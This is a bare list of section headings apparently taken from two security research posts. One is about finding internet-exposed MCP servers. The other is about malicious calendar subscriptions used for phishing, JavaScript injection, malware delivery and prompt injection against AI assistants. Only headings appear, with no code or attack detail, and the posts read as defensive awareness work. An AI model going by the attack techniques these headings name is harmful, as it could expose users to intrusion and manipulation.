How MCP clients and servers talk to each other

Stdio

Streamable HTTP

(Legacy) HTTP with SSE

How does that work in real life?

That’s it? Really?

According to the MCP specification…

The most important message of this post

Our hunting for exposed MCP servers

The detection payload

Where should we look for exposed MCP servers?

Testing all HTTP-based endpoints isn’t practical

“MCP-like” hostnames

Clues in HTTP headers

Low-hanging fruits in MCP endpoint discovery

Fast-forward to the scan results

And the number of exposed MCP servers we found is…

Some alarming examples showing why this is really bad

(Bonus) MCP honeypots?

We just want to raise awareness (our call to action)

The Hidden Dangers of Calendar Subscriptions: 4 Million Devices at Risk

Introduction

Key Takeaways

Telemetry on calendar subscriptions

1. Base64-encoded URI

2. Webcal query request

Why a simple event file can open the door to phishing, malware, and more

Hunting a network

Injecting javascript

Proliferation

Balada Injection

APKs and PDFs

A sense of scale

Monetization

When trust becomes a risk

The rise of new attack vectors

Open source suites: 0day .ICS attacks

Promptware / Prompt Injection via calendars

Recommendations on threat mitigation

1. Review active subscriptions and block unfamiliar sources

2. Treat calendar links like email links

3. Establish calendar subscriptions policies

4. Incorporate calendar threat into awareness training & stay ahead of threats

2. `Webcal` query request